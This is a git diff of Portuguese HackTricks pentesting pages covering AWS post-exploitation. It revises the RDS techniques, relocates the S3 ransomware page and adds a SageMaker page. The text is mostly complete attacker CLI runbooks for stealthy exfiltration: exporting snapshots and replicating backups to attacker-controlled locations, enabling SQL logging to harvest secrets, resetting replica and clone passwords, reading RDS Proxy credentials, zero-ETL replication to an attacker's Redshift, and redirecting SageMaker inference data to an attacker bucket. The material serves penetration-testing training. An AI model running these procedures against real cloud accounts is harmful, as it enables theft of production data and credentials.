+Um atacante com essa permissão pode **exportar um snapshot de uma instância RDS para um bucket S3**. Se o atacante controlar o bucket S3 de destino, ele pode potencialmente acessar dados sensíveis dentro do snapshot exportado.
 ```bash
 aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
 ```
-**Potencial impacto**: Acesso a dados sensíveis no snapshot exportado.
+**Impacto potencial**: Acesso a dados sensíveis no snapshot exportado.
 
-### Replicação de Backups Automatizados entre Regiões para Restauração Sigilosa (`rds:StartDBInstanceAutomatedBackupsReplication`)
+### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
 
-Abuse a replicação de backups automatizados entre Regiões para duplicar silenciosamente os backups automatizados de uma instância RDS em outra Região AWS e restaurá-los lá. O atacante pode então tornar o DB restaurado publicamente acessível e redefinir a senha mestre para acessar os dados fora do ambiente monitorado em uma Região que os defensores podem não vigiar.
+Abuse cross-Region automated backups replication para duplicar silenciosamente os automated backups de uma instância RDS em outra Região da AWS e restaurá-los lá. O atacante pode então tornar o DB restaurado publicamente acessível e redefinir a senha mestre para acessar os dados out-of-band em uma Região que os defensores podem não monitorar.
 
-Permissões necessárias (mínimo):
-- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
-- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
-- `rds:RestoreDBInstanceToPointInTime` in the destination Region
-- `rds:ModifyDBInstance` in the destination Region
-- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
-- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)
+Permissões necessárias (mínimas):
+- `rds:StartDBInstanceAutomatedBackupsReplication` na Região de destino
+- `rds:DescribeDBInstanceAutomatedBackups` na Região de destino
+- `rds:RestoreDBInstanceToPointInTime` na Região de destino
+- `rds:ModifyDBInstance` na Região de destino
+- `rds:StopDBInstanceAutomatedBackupsReplication` (limpeza opcional)
+- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (para expor o DB restaurado)
 
-Impacto: Persistência e exfiltração de dados ao restaurar uma cópia dos dados de produção em outra Região e expô-la publicamente com credenciais controladas pelo atacante.
+Impacto: Persistência e exfiltração de dados ao restaurar uma cópia dos dados de produção em outra Região e expô-los publicamente com credenciais controladas pelo atacante.
 
 <details>
-<summary>CLI de ponta a ponta (substitua os marcadores de posição)</summary>
+<summary>CLI de ponta a ponta (substitua os placeholders)</summary>
 ```bash
 # 1) Recon (SOURCE region A)
 aws rds describe-db-instances \
@@ -163,26 +163,26 @@ aws rds stop-db-instance-automated-backups-replication \
 </details>
 
 
-### Habilitar logging SQL completo via DB parameter groups e exfiltrate via RDS log APIs
+### Habilitar registro completo de SQL via DB parameter groups e exfiltrate via RDS log APIs
 
-Abuse `rds:ModifyDBParameterGroup` com as APIs de download de logs do RDS para capturar todas as instruções SQL executadas pelas aplicações (não são necessárias credenciais do engine do DB). Ative o SQL logging do engine e recupere os arquivos de log via `rds:DescribeDBLogFiles` e `rds:DownloadDBLogFilePortion` (ou o REST `downloadCompleteLogFile`). Útil para coletar queries que podem conter secrets/PII/JWTs.
+Abuse `rds:ModifyDBParameterGroup` com as RDS log download APIs para capturar todas as instruções SQL executadas pelas aplicações (credenciais do DB engine não são necessárias). Ative o logging de SQL do engine e extraia os logs de arquivo via `rds:DescribeDBLogFiles` e `rds:DownloadDBLogFilePortion` (ou o REST `downloadCompleteLogFile`). Útil para coletar queries que podem conter secrets/PII/JWTs.
 
-Permissões necessárias (mínimas):
+Permissões necessárias (mínimo):
 - `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
 - `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
-- `rds:ModifyDBInstance` (apenas para anexar um parameter group customizado se a instância estiver usando o padrão)
-- `rds:RebootDBInstance` (para parâmetros que exigem reboot, ex.: PostgreSQL)
+- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
+- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)
 
-Steps
+Passos
 1) Recon target and current parameter group
 ```bash
 aws rds describe-db-instances \
 --query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
 --output table
 ```
-2) Certifique-se de que um DB parameter group personalizado esteja anexado (não é possível editar o padrão)
-- Se a instância já usa um grupo personalizado, reutilize seu nome na próxima etapa.
-- Caso contrário, crie e anexe um que corresponda à família do engine:
+2) Garanta que um DB parameter group customizado esteja anexado (não é possível editar o padrão)
+- Se a instância já utiliza um grupo customizado, reutilize seu nome na próxima etapa.
+- Caso contrário, crie e anexe um compatível com a engine family:
 ```bash
 # Example for PostgreSQL 16
 aws rds create-db-parameter-group \
@@ -196,7 +196,7 @@ aws rds modify-db-instance \
 --apply-immediately
 # Wait until status becomes "available"
 ```
-3) Ativar registro SQL detalhado
+3) Habilitar registro SQL detalhado
 - MySQL engines (imediato / sem reinicialização):
 ```bash
 aws rds modify-db-parameter-group \
@@ -208,7 +208,7 @@ aws rds modify-db-parameter-group \
 #   "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
 #   "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
 ```
-- PostgreSQL engines (requer reinicialização):
+- Motores PostgreSQL (requer reinicialização):
 ```bash
 aws rds modify-db-parameter-group \
 --db-parameter-group-name <PGNAME> \
@@ -220,11 +220,11 @@ aws rds modify-db-parameter-group \
 # Reboot if any parameter is pending-reboot
 aws rds reboot-db-instance --db-instance-identifier <DB>
 ```
-4) Deixe a workload rodar (ou gere queries). Statements serão gravados nos arquivos de log do engine
+4) Deixe a carga de trabalho rodar (ou gere consultas). As instruções serão gravadas nos arquivos de log do engine
 - MySQL: `general/mysql-general.log`
 - PostgreSQL: `postgresql.log`
 
-5) Descubra e baixe os logs (não são necessárias credenciais do DB)
+5) Descubra e baixe os logs (no DB creds required)
 ```bash
 aws rds describe-db-log-files --db-instance-identifier <DB>
 
@@ -246,7 +246,7 @@ Exemplo de evidência (redigida):
 2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
 ```
 Limpeza
-- Reverter parâmetros para os valores padrão e reiniciar se necessário:
+- Reverter os parâmetros para os padrões e reiniciar se necessário:
 ```bash
 # MySQL
 aws rds modify-db-parameter-group \
@@ -261,11 +261,11 @@ aws rds modify-db-parameter-group \
 "ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
 # Reboot if pending-reboot
 ```
-Impacto: Post-exploitation data access capturando todas as instruções SQL da aplicação via AWS APIs (no DB creds), potencialmente leaking secrets, JWTs e PII.
+Impacto: Post-exploitation acesso a dados ao capturar todas as instruções SQL da aplicação via AWS APIs (no DB creds), potencialmente leaking secrets, JWTs, and PII.
 
 ### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
 
-Abuse RDS read replicas para obter acesso de leitura out-of-band sem tocar nas credenciais da instância primary. Um atacante pode criar um read replica a partir de uma instância de produção, resetar a replica's master password (isso não altera a primary), e, opcionalmente, expor a replica publicamente para exfiltrate data.
+Abuse RDS read replicas para obter acesso de leitura out-of-band sem tocar nas credenciais da instância primária. Um atacante pode criar uma read replica a partir de uma instância de produção, resetar a master password da réplica (isso não altera a primária) e, opcionalmente, expor a réplica publicamente para exfiltrate data.
 
 Permissões necessárias (mínimo):
 - `rds:DescribeDBInstances`
@@ -273,7 +273,7 @@ Permissões necessárias (mínimo):
 - `rds:ModifyDBInstance`
 - `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
 
-Impacto: Acesso read-only aos dados de produção via uma replica com credenciais controladas pelo atacante; menor probabilidade de detecção já que a primary permanece intocada e a replicação continua.
+Impacto: Acesso read-only aos dados de produção via uma réplica com credenciais controladas pelo atacante; menor probabilidade de detecção, já que a primária permanece intocada e a replicação continua.
 ```bash
 # 1) Recon: find non-Aurora sources with backups enabled
 aws rds describe-db-instances \
@@ -305,12 +305,12 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
 # aws rds promote-read-replica --db-instance-identifier <REPL_ID>
 ```
 Exemplo de evidência (MySQL):
-- Status da réplica DB: `available`, replicação de leitura: `replicating`
+- Replica DB status: `available`, read replication: `replicating`
 - Conexão bem-sucedida com a nova senha e `@@read_only=1` confirmando acesso de réplica somente leitura.
 
 ### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
 
-Abuse RDS Blue/Green para clonar um DB de produção em um ambiente green continuamente replicado e somente leitura. Em seguida, redefina as credenciais master do ambiente green para acessar os dados sem tocar na instância blue (prod). Isso é mais furtivo do que o compartilhamento de snapshots e frequentemente contorna monitoramento focado apenas na origem.
+Abuse RDS Blue/Green para clonar um DB de produção em um ambiente green continuamente replicado e somente leitura. Em seguida, redefina as credenciais do master green para acessar os dados sem tocar na instância blue (prod). Isso é mais furtivo do que o compartilhamento de snapshots e frequentemente contorna monitoramento focado apenas na origem.
 ```bash
 # 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
 aws rds describe-db-instances \
@@ -357,18 +357,19 @@ aws rds delete-blue-green-deployment \
 --blue-green-deployment-identifier <BGD_ID> \
 --delete-target true
 ```
-Impacto: Acesso somente leitura, mas com dados completos de um clone quase em tempo real da produção, sem modificar a instância de produção. Útil para extração discreta de dados e análise offline.
+Impacto: Acesso somente leitura, mas com acesso completo aos dados de uma cópia quase em tempo real da produção sem modificar a instância de produção. Útil para extração de dados furtiva e análise offline.
 
-### SQL fora de banda via RDS Data API ativando o endpoint HTTP + redefinindo a senha master
 
-Explorar Aurora para habilitar o endpoint HTTP do RDS Data API em um cluster alvo, redefinir a senha master para um valor que você controla e executar SQL via HTTPS (nenhum caminho de rede VPC necessário). Funciona em engines Aurora que suportam o Data API/EnableHttpEndpoint (por exemplo, Aurora MySQL 8.0 provisioned; algumas versões do Aurora PostgreSQL/MySQL).
+### SQL fora de banda via RDS Data API ativando HTTP endpoint + redefinindo a senha master
+
+Abuse Aurora para habilitar o HTTP endpoint do RDS Data API em um cluster alvo, redefinir a senha master para um valor que você controla e executar SQL via HTTPS (não é necessário caminho de rede VPC). Funciona em engines Aurora que suportam o Data API/EnableHttpEndpoint (por exemplo, Aurora MySQL 8.0 provisioned; algumas versões do Aurora PostgreSQL/MySQL).
 
 Permissões (mínimas):
 - rds:DescribeDBClusters, rds:ModifyDBCluster (ou rds:EnableHttpEndpoint)
 - secretsmanager:CreateSecret
-- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
+- rds-data:ExecuteStatement (e rds-data:BatchExecuteStatement se usado)
 
-Impacto: Contornar a segmentação de rede e exfiltrar dados via AWS APIs sem conectividade VPC direta ao DB.
+Impacto: Contornar a segmentação de rede e exfiltrar dados via AWS APIs sem conectividade VPC direta ao banco de dados.
 
 <details>
 <summary>CLI de ponta a ponta (exemplo Aurora MySQL)</summary>
@@ -424,21 +425,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
 </details>
 
 Notas:
-- Se SQL com múltiplas instruções for rejeitado pelo rds-data, faça chamadas execute-statement separadas.
+- Se multi-statement SQL for rejeitado por rds-data, emita chamadas execute-statement separadas.
 - Para engines onde modify-db-cluster --enable-http-endpoint não tem efeito, use rds enable-http-endpoint --resource-arn.
-- Garanta que o engine/version realmente suporte o Data API; caso contrário HttpEndpointEnabled permanecerá False.
+- Garanta que o engine/versão realmente suporte o Data API; caso contrário HttpEndpointEnabled permanecerá False.
 
 
-### Obter credenciais de DB via segredos de autenticação do RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
+### Coletar credenciais do DB via segredos de autenticação do RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
 
-Abusar da configuração do RDS Proxy para descobrir o segredo do Secrets Manager usado na autenticação do backend, depois ler o segredo para obter as credenciais do banco de dados. Muitos ambientes concedem permissões amplas de `secretsmanager:GetSecretValue`, tornando isso um pivot de baixa fricção para credenciais de DB. Se o segredo usar uma CMK, permissões KMS mal escopadas também podem permitir `kms:Decrypt`.
+Abuse da configuração do RDS Proxy para descobrir o Secret do Secrets Manager usado para autenticação do backend, e então leia o Secret para obter as credenciais do banco de dados. Muitos ambientes concedem amplamente `secretsmanager:GetSecretValue`, tornando isso um pivot de baixa fricção para credenciais do DB. Se o Secret usar uma CMK, permissões KMS mal escopadas também podem permitir `kms:Decrypt`.
 
-Permissões necessárias (mínimas):
+Permissões necessárias (mínimo):
 - `rds:DescribeDBProxies`
 - `secretsmanager:GetSecretValue` no SecretArn referenciado
-- Opcional quando o segredo usa uma CMK: `kms:Decrypt` nessa chave
+- Opcional quando o Secret usar uma CMK: `kms:Decrypt` nessa chave
 
-Impacto: Divulgação imediata do nome de usuário/senha do DB configurado no proxy; possibilita acesso direto ao DB ou movimento lateral adicional.
+Impacto: Divulgação imediata do nome de usuário/senha do DB configurado no proxy; permite acesso direto ao DB ou movimento lateral adicional.
 
 Passos
 ```bash
@@ -479,15 +480,15 @@ aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aw
 aws iam delete-role --role-name rds-proxy-secret-role
 aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
 ```
-### Exfiltração contínua e furtiva via Aurora zero‑ETL para Amazon Redshift (rds:CreateIntegration)
+### Exfiltração contínua furtiva via Aurora zero‑ETL para Amazon Redshift (rds:CreateIntegration)
 
-Abuse a integração zero‑ETL do Aurora PostgreSQL para replicar continuamente dados de produção para um namespace Redshift Serverless que você controla. Com uma política de recurso permissiva do Redshift que autorize CreateInboundIntegration/AuthorizeInboundIntegration para um ARN de cluster Aurora específico, um atacante pode estabelecer uma cópia de dados quase em tempo real sem DB creds, snapshots ou exposição de rede.
+Explorar a integração Aurora PostgreSQL zero‑ETL para replicar continuamente dados de produção para um namespace Redshift Serverless que você controla. Com uma política de recurso Redshift permissiva que autoriza CreateInboundIntegration/AuthorizeInboundIntegration para um ARN de cluster Aurora específico, um atacante pode estabelecer uma cópia de dados quase em tempo real sem DB creds, snapshots ou exposição de rede.
 
 Permissões necessárias (mínimo):
 - `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
 - `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
-- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (para consultar)
-- `rds-data:ExecuteStatement` (opcional; para popular dados se necessário)
+- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query)
+- `rds-data:ExecuteStatement` (optional; to seed data if needed)
 
 Testado em: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
 
@@ -508,7 +509,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
 </details>
 
 <details>
-<summary>2) Configurar a política de recurso do Redshift para permitir a origem Aurora</summary>
+<summary>2) Configurar a política de recursos do Redshift para permitir a origem do Aurora</summary>
 ```bash
 ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
 SRC_ARN=<AURORA_CLUSTER_ARN>
@@ -539,7 +540,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
 </details>
 
 <details>
-<summary>3) Criar cluster Aurora PostgreSQL (ativar Data API e replicação lógica)</summary>
+<summary>3) Criar Aurora PostgreSQL cluster (habilitar Data API e replicação lógica)</summary>
 ```bash
 CLUSTER_ID=aurora-ztl
 aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
@@ -596,11 +597,11 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
 </details>
 
 Evidências observadas no teste:
-- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
+- redshift describe-inbound-integrations: Status ACTIVE para Integration arn:...377a462b-...
 - SVV_INTEGRATION mostrou integration_id 377a462b-c42c-4f08-937b-77fe75d98211 e estado PendingDbConnectState antes da criação do DB.
-- Após CREATE DATABASE FROM INTEGRATION, listar tabelas revelou o schema ztl e a tabela customers; selecionar de ztl.customers retornou 2 linhas (Alice, Bob).
+- Após CREATE DATABASE FROM INTEGRATION, listar tabelas revelou schema ztl e tabela customers; a seleção de ztl.customers retornou 2 linhas (Alice, Bob).
 
-Impacto: Exfiltração contínua quase em tempo real de tabelas selecionadas do Aurora PostgreSQL para Redshift Serverless controlado pelo atacante, sem uso de credenciais de banco de dados, backups ou acesso de rede ao cluster de origem.
+Impacto: Exfiltração contínua quase em tempo real de tabelas selecionadas do Aurora PostgreSQL para Redshift Serverless controlado pelo atacante, sem usar credenciais de banco de dados, backups ou acesso de rede ao cluster de origem.
 
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
deleted file mode 100644
index 650287b4d..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
+++ /dev/null
@@ -1,38 +0,0 @@
-# AWS - S3 Pós Exploração
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## S3
-
-Para mais informações, consulte:
-
-{{#ref}}
-../aws-services/aws-s3-athena-and-glacier-enum.md
-{{#endref}}
-
-### Informações Sensíveis
-
-Às vezes, você poderá encontrar informações sensíveis legíveis nos buckets. Por exemplo, segredos do estado do terraform.
-
-### Pivotagem
-
-Diferentes plataformas podem estar usando S3 para armazenar ativos sensíveis.\
-Por exemplo, **airflow** pode estar armazenando **código** de **DAGs** lá, ou **páginas da web** podem ser servidas diretamente do S3. Um atacante com permissões de escrita pode **modificar o código** do bucket para **pivotar** para outras plataformas ou **assumir contas** modificando arquivos JS.
-
-### Ransomware S3
-
-Neste cenário, o **atacante cria uma chave KMS (Key Management Service) em sua própria conta AWS** ou em outra conta comprometida. Em seguida, torna essa **chave acessível a qualquer pessoa no mundo**, permitindo que qualquer usuário, função ou conta AWS criptografe objetos usando essa chave. No entanto, os objetos não podem ser descriptografados.
-
-O atacante identifica um **bucket S3 alvo e ganha acesso de nível de escrita** a ele usando vários métodos. Isso pode ser devido a uma configuração inadequada do bucket que o expõe publicamente ou o atacante ganhando acesso ao próprio ambiente AWS. O atacante geralmente visa buckets que contêm informações sensíveis, como informações pessoalmente identificáveis (PII), informações de saúde protegidas (PHI), logs, backups e mais.
-
-Para determinar se o bucket pode ser alvo de ransomware, o atacante verifica sua configuração. Isso inclui verificar se **S3 Object Versioning** está habilitado e se **a exclusão de autenticação multifatorial (MFA delete) está habilitada**. Se a versão de objeto não estiver habilitada, o atacante pode prosseguir. Se a versão de objeto estiver habilitada, mas a exclusão MFA estiver desabilitada, o atacante pode **desabilitar a versão de objeto**. Se tanto a versão de objeto quanto a exclusão MFA estiverem habilitadas, torna-se mais difícil para o atacante aplicar ransomware naquele bucket específico.
-
-Usando a API da AWS, o atacante **substitui cada objeto no bucket por uma cópia criptografada usando sua chave KMS**. Isso efetivamente criptografa os dados no bucket, tornando-os inacessíveis sem a chave.
-
-Para aumentar a pressão, o atacante agenda a exclusão da chave KMS usada no ataque. Isso dá ao alvo uma janela de 7 dias para recuperar seus dados antes que a chave seja excluída e os dados se tornem permanentemente perdidos.
-
-Finalmente, o atacante pode fazer o upload de um arquivo final, geralmente nomeado "ransom-note.txt", que contém instruções para o alvo sobre como recuperar seus arquivos. Este arquivo é enviado sem criptografia, provavelmente para chamar a atenção do alvo e torná-lo ciente do ataque de ransomware.
-
-**Para mais informações** [**consulte a pesquisa original**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
new file mode 100644
index 000000000..33bce7e32
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
@@ -0,0 +1,38 @@
+# AWS - S3 Pós-Exploração
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## S3
+
+Para mais informações consulte:
+
+{{#ref}}
+../../aws-services/aws-s3-athena-and-glacier-enum.md
+{{#endref}}
+
+### Informações Sensíveis
+
+Às vezes é possível encontrar informações sensíveis legíveis nos buckets. Por exemplo, terraform state secrets.
+
+### Pivoting
+
+Diferentes plataformas podem usar S3 para armazenar ativos sensíveis.\
+Por exemplo, **airflow** pode estar armazenando **DAGs** **code** lá, ou **web pages** podem ser servidas diretamente a partir do S3. Um atacante com permissões de escrita poderia **modify the code** no bucket para **pivot** para outras plataformas, ou **takeover accounts** modificando arquivos JS.
+
+### S3 Ransomware
+
+Neste cenário, o **atacante cria uma chave KMS (Key Management Service) em sua própria conta AWS** ou em outra conta comprometida. Em seguida, ele torna essa **chave acessível a qualquer pessoa no mundo**, permitindo que qualquer usuário, role, ou conta AWS criptografe objetos usando essa chave. No entanto, os objetos não podem ser descriptografados.
+
+O atacante identifica um bucket alvo e obtém acesso de escrita a ele usando vários métodos. Isso pode ocorrer devido a uma configuração inadequada do bucket que o expõe publicamente ou porque o atacante obteve acesso ao próprio ambiente AWS. O atacante normalmente mira em buckets que contêm informações sensíveis como personally identifiable information (PII), protected health information (PHI), logs, backups, e mais.
+
+Para determinar se o bucket pode ser alvo de ransomware, o atacante verifica sua configuração. Isso inclui verificar se **S3 Object Versioning** está habilitado e se **multi-factor authentication delete (MFA delete) está habilitado**. Se Object Versioning não estiver habilitado, o atacante pode prosseguir. Se Object Versioning estiver habilitado mas MFA delete estiver desabilitado, o atacante pode **desabilitar Object Versioning**. Se tanto Object Versioning quanto MFA delete estiverem habilitados, torna-se mais difícil para o atacante realizar ransomware naquele bucket específico.
+
+Usando a AWS API, o atacante **substitui cada objeto no bucket por uma cópia criptografada usando sua chave KMS**. Isso efetivamente criptografa os dados no bucket, tornando-os inacessíveis sem a chave.
+
+Para aumentar a pressão, o atacante agenda a exclusão da chave KMS usada no ataque. Isso dá ao alvo uma janela de 7 dias para recuperar seus dados antes que a chave seja excluída e os dados se tornem permanentemente perdidos.
+
+Finalmente, o atacante pode enviar um arquivo final, geralmente chamado "ransom-note.txt", que contém instruções para o alvo sobre como recuperar seus arquivos. Este arquivo é enviado sem criptografia, provavelmente para chamar a atenção do alvo e torná-lo ciente do ataque de ransomware.
+
+**Para mais informações** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md
new file mode 100644
index 000000000..3738544f9
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md
@@ -0,0 +1,177 @@
+# AWS - SageMaker Post-Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig
+
+Abuse SageMaker endpoint management to enable full request/response capture to an attacker‑controlled S3 bucket without touching the model or container. Uses a zero/low‑downtime rolling update and only requires endpoint management permissions.
+
+### Requisitos
+- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
+- S3: `s3:CreateBucket` (ou use um bucket existente na mesma conta)
+- Optional (if using SSE‑KMS): `kms:Encrypt` on the chosen CMK
+- Target: um endpoint real‑time InService existente na mesma conta/região
+
+### Etapas
+1) Identifique um endpoint InService e obtenha as variantes de produção atuais
+```bash
+REGION=${REGION:-us-east-1}
+EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
+echo "Endpoint=$EP"
+CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
+echo "EndpointConfig=$CFG"
+aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
+```
+2) Prepare o destino S3 do atacante para capturas
+```bash
+ACC=$(aws sts get-caller-identity --query Account --output text)
+BUCKET=ht-sm-capture-$ACC-$(date +%s)
+aws s3 mb s3://$BUCKET --region $REGION
+```
+3) Crie um novo EndpointConfig que mantenha as mesmas variantes mas ative DataCapture para o bucket do atacante
+
+Nota: Use explicit content types que satisfaçam a validação do CLI.
+```bash
+NEWCFG=${CFG}-dc
+cat > /tmp/dc.json << JSON
+{
+"EnableCapture": true,
+"InitialSamplingPercentage": 100,
+"DestinationS3Uri": "s3://$BUCKET/capture",
+"CaptureOptions": [
+{"CaptureMode": "Input"},
+{"CaptureMode": "Output"}
+],
+"CaptureContentTypeHeader": {
+"JsonContentTypes": ["application/json"],
+"CsvContentTypes": ["text/csv"]
+}
+}
+JSON
+aws sagemaker create-endpoint-config \
+--region $REGION \
+--endpoint-config-name "$NEWCFG" \
+--production-variants file:///tmp/pv.json \
+--data-capture-config file:///tmp/dc.json
+```
+4) Aplique a nova config com um rolling update (tempo de inatividade mínimo/nulo)
+```bash
+aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
+aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
+```
+5) Gere pelo menos uma chamada de inferência (opcional se houver tráfego ao vivo)
+```bash
+echo '{"inputs":[1,2,3]}' > /tmp/payload.json
+aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
+--content-type application/json --accept application/json \
+--body fileb:///tmp/payload.json /tmp/out.bin || true
+```
+6) Validar capturas no S3 do atacante
+```bash
+aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
+```
+### Impacto
+- Exfiltração completa dos payloads de requisição e resposta de inferência em tempo real (e metadados) do endpoint alvo para um S3 bucket controlado pelo atacante.
+- Sem alterações na imagem do modelo/container e apenas mudanças no nível do endpoint, permitindo um caminho de roubo de dados furtivo com interrupção operacional mínima.
+
+## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
+
+Abuse o gerenciamento do endpoint para redirecionar as saídas de inferência assíncrona para um S3 bucket controlado pelo atacante clonando o EndpointConfig atual e configurando AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Isso exfiltra as previsões do modelo (e quaisquer inputs transformados incluídos pelo container) sem modificar o modelo/container.
+
+### Requisitos
+- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
+- S3: Capacidade de gravar no S3 bucket controlado pelo atacante (via a model execution role ou uma política de bucket permissiva)
+- Alvo: Um endpoint InService onde invocações assíncronas são (ou serão) usadas
+
+### Etapas
+1) Colete os ProductionVariants atuais do endpoint alvo
+```bash
+REGION=${REGION:-us-east-1}
+EP=<target-endpoint-name>
+CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
+aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
+```
+2) Crie um bucket do atacante (garanta que a função de execução do modelo possa PutObject nele)
+```bash
+ACC=$(aws sts get-caller-identity --query Account --output text)
+BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
+aws s3 mb s3://$BUCKET --region $REGION || true
+```
+3) Clonar EndpointConfig e sequestrar as saídas do AsyncInference para o bucket do atacante
+```bash
+NEWCFG=${CUR_CFG}-async-exfil
+cat > /tmp/async_cfg.json << JSON
+{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
+JSON
+aws sagemaker create-endpoint-config --region $REGION   --endpoint-config-name "$NEWCFG"   --production-variants file:///tmp/pv.json   --async-inference-config file:///tmp/async_cfg.json
+aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
+aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
+```
+4) Acionar uma async invocation e verificar se os objetos chegam no attacker S3
+```bash
+aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
+aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
+sleep 30
+aws s3 ls s3://$BUCKET/async-out/ --recursive || true
+aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
+```
+### Impact
+- Redireciona resultados de inference assíncrona (e corpos de erro) para um S3 controlado pelo atacante, permitindo exfiltração covert de predictions e, potencialmente, inputs sensíveis pré/pós-processados produzidos pelo container, sem alterar o model code ou image e com downtime mínimo/nulo.
+
+## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
+
